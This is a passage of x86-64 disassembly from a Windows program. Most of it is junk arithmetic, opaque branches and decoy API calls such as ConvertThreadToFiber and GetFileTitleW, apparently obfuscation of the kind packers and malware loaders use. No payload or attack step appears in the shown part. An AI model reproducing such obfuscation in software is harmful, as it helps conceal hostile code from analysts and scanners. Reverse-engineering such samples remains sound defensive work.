add edx, ecx
mov word [rax], dx
cmp dword [rbp + 0x1564c], 0x2a27
ja 0x140009e84
movzx eax, byte [rbp + 0x3507]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
mov r8d, edx
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
cmp r8d, eax
jle 0x14000a3d6
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x15740]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
or edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0x3240]
mov rax, qword [rbp + 0x15118]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
call rax
mov dword [rbp + 0x15164], eax
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x45b0]
xor rax, rdx
mov qword [rbp + 0x4f88], rax
mov rax, qword [rbp + 0x3d18]
mov rdx, qword [rbp + 0x44f8]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x33b8], rax
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x204], eax
mov ecx, dword [rbp + 0x3b8]
mov edx, dword [0x1400dd314]
mov rax, qword [rbp + 0x3c18]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
add edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
add dword [rbp + 0x1570c], 0x7f
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
and eax, edx
mov dword [0x1400e1030], eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x24aa], al
movzx edx, byte [rbp + 0x50c4]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x5dc]
add eax, edx
mov word [rbp + 0x36a6], ax
mov rax, qword [rbp + 0x3ce8]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3ce8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0xe28]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
add edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2764]
mov ecx, eax
shr edx, cl
mov eax, edx
mov dword [rbp + 0x2728], eax
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x1538]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
or edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2728]
xor eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x3230]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x1316]
add eax, edx
mov word [rbp + 0x4dfc], ax
movzx edx, word [rbp + 0x5dc]
movzx ecx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x2764], edx
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [0x1400dd310]
and eax, edx
mov dword [rbp + 0x194], eax
mov rcx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, word [rbp + 0x27fe]
mov edx, eax
movzx eax, word [rbp + 0x1316]
sub edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
mov eax, dword [rax]
add eax, edx
mov dword [0x1400dd314], eax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
add edx, eax
mov rax, qword [rbp + 0x1538]
mov byte [rax], dl
movzx eax, byte [rbp + 0x50c4]
movzx edx, al
movzx eax, byte [rbp + 0x221a]
movzx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0xa70]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x27fe]
or edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x3230]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
xor eax, edx
mov byte [rbp + 0x24aa], al
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x50c8]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
cmp dword [rbp + 0x1570c], 0xf6c8
jne 0x14000a3f0
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
test eax, eax
je 0x14000a703
cmp eax, 0x7a
je 0x1400c82d8
jmp 0x1400c8361
nop
movzx edx, word [rbp + 0x152c]
mov rax, qword [rbp + 0x15700]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x152c], ax
movzx eax, word [rbp + 0x27fe]
mov edx, eax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
mov ecx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
sub ecx, edx
mov dword [rax], ecx
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x4f88]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3d18]
or rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov ecx, dword [rbp + 0x50c8]
mov edx, dword [rbp + 0x204]
mov rax, qword [rbp + 0x27d0]
xor edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x1565c], 0x72
movzx eax, byte [rbp + 0x1286]
movzx edx, al
movzx eax, byte [rbp + 0x50c4]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x3507], al
movzx ecx, word [rbp + 0x152c]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x9f0]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
movzx edx, byte [rbp + 0x50c4]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x1286], al
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x2764], edx
mov rax, qword [rbp + 0x156b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x27d0]
sub ecx, edx
mov dword [rax], ecx
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x33b8]
add rdx, rax
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rdx, qword [0x1400dd318]
mov rax, qword [rbp + 0x4f88]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2764]
and eax, edx
mov dword [0x1400dd314], eax
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x15700]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x44f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
xor edx, ecx
mov word [rax], dx
movzx ecx, word [rbp + 0x32a]
movzx edx, word [rbp + 0x1316]
mov rax, qword [rbp + 0x46b0]
or edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x3507], al
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x194]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x204], eax
cmp dword [rbp + 0x1565c], 0x498
ja 0x14000a702
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
test rax, rax
jne 0x14000aacf
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
cmp eax, 0x293500a
je 0x14000a9e8
cmp eax, 0x73295cfa
jne 0x14000aaac
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov dword [rbp + 0x3b8], eax
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
jmp 0x14000aaac
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x4f
jne 0x14000aa91
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
and eax, edx
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
sub rdx, rax
mov rax, qword [rbp + 0x15120]
mov qword [rax], rdx
mov dword [rsp + 0x28], 0x1b
lea rax, [rbp + 0x4920]
mov qword [rsp + 0x20], rax
mov r9d, 0x9b
lea r8, str.Similes_Newspapermen
mov edx, 0xb2
mov ecx, 0x82
mov rax, qword [sym.imp.KERNEL32.dll_LCMapStringW]
call rax
mov dword [rbp + 0x194], eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
jmp 0x14000aaab
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x221a]
sub eax, edx
mov byte [rbp + 0x1286], al
nop
nop
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
jmp 0x14000aaf0
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x44f0]
add edx, ecx
mov word [rax], dx
nop
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
add dword [rbp + 0x156bc], 0xf6
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
add eax, edx
mov dword [rbp + 0x2764], eax
mov rax, qword [rbp + 0xe28]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
and eax, edx
mov dword [rbp + 0x194], eax
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x156f8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x45b0], rax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov rax, qword [rbp + 0x15660]
mov eax, dword [rax]
or eax, edx
mov dword [0x1400dd314], eax
movzx ecx, word [rbp + 0x129e]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x9f0]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
add eax, edx
mov word [rbp + 0x3e7e], ax
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x1286], al
movzx edx, word [rbp + 0x5dc]
movzx eax, word [rbp + 0x36a6]
and eax, edx
mov word [rbp + 0x152c], ax
mov rdx, qword [rbp + 0x3d18]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x33b8], rdx
mov ecx, dword [rbp + 0x50c8]
mov edx, dword [rbp + 0x194]
mov rax, qword [rbp + 0x27d0]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x4f88], rdx
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
movzx eax, word [rbp + 0x27fe]
mov edx, eax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x1286]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
movzx eax, byte [rbp + 0x3507]
movsx edx, al
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x1538]
mov byte [rax], dl
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x4f88]
or rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
mov rax, qword [rbp + 0x156a0]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x26b8]
xor rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x204]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x3424], eax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
and eax, edx
mov dword [rbp + 0x3b8], eax
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1538]
mov byte [rax], dl
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x129e]
add eax, edx
mov word [rbp + 0x152c], ax
movzx ecx, word [rbp + 0x3e7e]
movzx edx, word [rbp + 0x4dfc]
mov rax, qword [rbp + 0x6c0]
and edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x50c4]
sub eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x15120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
add rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156f8]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
or eax, edx
mov dword [rbp + 0x2764], eax
movzx eax, word [rbp + 0x3e7e]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x44f0]
xor edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x1538]
mov byte [rax], dl
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x221a]
and eax, edx
mov byte [rbp + 0x1286], al
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x27fe]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
cmp dword [rbp + 0x156bc], 0x112d3
jbe 0x14000aaf0
mov edx, dword [0x1400e1030]
mov eax, dword [rbp + 0x50c8]
mov ecx, edx
sub ecx, eax
mov edx, dword [rbp + 0x204]
mov eax, dword [rbp + 0x194]
add eax, edx
cmp ecx, eax
je 0x14000afda
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x37f
jne 0x14000afbf
mov rax, qword [rbp + 0x15120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x44f8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call rax
mov qword [rbp + 0x25a8], rax
mov ecx, dword [rbp + 0x2728]
mov r9, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x15120]
mov r8, qword [rax]
mov edx, dword [rbp + 0x194]
mov eax, dword [rbp + 0x3424]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
jmp 0x14000afda
mov rax, qword [rbp + 0x3c18]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x3b8]
mov rax, qword [rbp + 0x4830]
and edx, ecx
mov dword [rax], edx
nop
mov rax, qword [rbp + 0x156a8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
mov rcx, rdx
sub rcx, rax
mov rax, qword [rbp + 0x3ce8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156f8]
mov rax, qword [rax]
sub rdx, rax
cmp rcx, rdx
je 0x14000b140
mov rdx, qword [rbp + 0x44f8]
movabs rax, 0xfb5fd3826c20ea84
cmp rdx, rax
jne 0x14000b118
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
sub edx, eax
cmp ecx, edx
jne 0x14000b0fe
lea rax, [rbp + 0x3424]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call rax
mov qword [rbp + 0x2a98], rax
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0xe28]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov ecx, edx
sar r8d, cl
mov edx, r8d
mov dword [rax], edx
movzx eax, word [rbp + 0x27fe]
cwde
cmp eax, 0x306e
je 0x14000b0e0
cmp eax, 0x348e
jne 0x14000b0fe
mov rax, qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
call rax
mov dword [rbp + 0x15114], eax
call fcn.1400c881f
jmp 0x14000b0fe
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x4148]
xor edx, ecx
mov word [rax], dx
nop
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x4f88]
or rax, rdx
mov qword [0x1400dd318], rax
jmp 0x14000b140
mov rdx, qword [rbp + 0x25a8]
mov rax, qword [rbp + 0x156c8]
mov r8d, 0x4e
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_GetFileTitleW]
call rax
mov word [rbp + 0x3e7e], ax
nop
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
mov ecx, edx
and ecx, eax
mov edx, dword [rbp + 0x2728]
mov eax, dword [rbp + 0x2764]
sub edx, eax
cmp ecx, edx
jae 0x14000b268
movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x1316]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx eax, word [rbp + 0x152c]
movzx eax, ax
cmp eax, 0x3a9
je 0x14000b24a
cmp eax, 0x6a8
jne 0x14000b268
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
movsx edx, al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx eax, al
add eax, edx
cmp ecx, eax
jge 0x14000b221
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, word [rbp + 0x36a6]
sub eax, edx
mov word [rbp + 0x5dc], ax
mov rcx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
mov r8, rcx
mov rcx, rax
call fcn.140003bbd
jmp 0x14000b268
mov rdx, qword [rbp + 0x15108]
mov rax, qword [rbp + 0x15108]
mov r8d, 0xa4
mov rcx, rax
mov rax, qword [sym.imp.comdlg32.dll_GetFileTitleW]
call rax
mov word [rbp + 0x4dfc], ax
jmp 0x14000b268
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
nop
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
test eax, eax
je 0x14000b2a0
cmp eax, 0x598f0f50
jne 0x1400c825a
mov rax, qword [rbp + 0x27d0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x27d0]
or edx, ecx
mov dword [rax], edx
jmp 0x1400c825a
nop
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x45b0], rax
movzx eax, word [rbp + 0x129e]
movzx edx, ax
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x36a6], ax
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x4f88]
and rax, rdx
mov qword [0x1400dd318], rax
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x221a]
sub eax, edx
mov byte [rbp + 0x50c4], al
mov edx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x2728]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x26b8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
add rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
add dword [rbp + 0x15774], 0x6c
mov ecx, dword [rbp + 0x204]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
sub ecx, edx
mov dword [rax], ecx
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x45b0]
and rax, rdx
mov qword [rbp + 0x2378], rax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
movzx ecx, word [rbp + 0x36a6]
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
or edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x1286]
movzx edx, al
movzx eax, byte [rbp + 0x50c4]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x221a], al
movzx eax, byte [rbp + 0x1286]
movzx edx, al
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x50c4], al
mov rax, qword [rbp + 0x6c0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x1316]
xor eax, edx
mov word [rbp + 0x32a], ax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
sub edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov edx, dword [0x1400e1030]
mov rax, qword [rbp + 0x27d0]
and edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x3b8]
mov eax, dword [rbp + 0x2728]
sub edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x3d18], rax
mov rdx, qword [0x1400dd318]
mov rax, qword [rbp + 0x2378]
sub rdx, rax
mov qword [rbp + 0x4f88], rdx
movzx eax, word [rbp + 0x27fe]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
add edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
mov rax, qword [rbp + 0x15720]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x15690]
movzx edx, word [rax]
movzx eax, word [rbp + 0x4dfc]
and eax, edx
mov word [rbp + 0x32a], ax
mov rax, qword [rbp + 0x3c18]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x3c18]
xor edx, ecx
mov dword [rax], edx
mov edx, dword [rbp + 0x50c8]
mov eax, dword [rbp + 0x194]
or eax, edx
mov dword [rbp + 0x3424], eax
mov rax, qword [rbp + 0x156a8]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x4f88]
mov ecx, edx
shl rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x156a8]
mov qword [rax], rdx
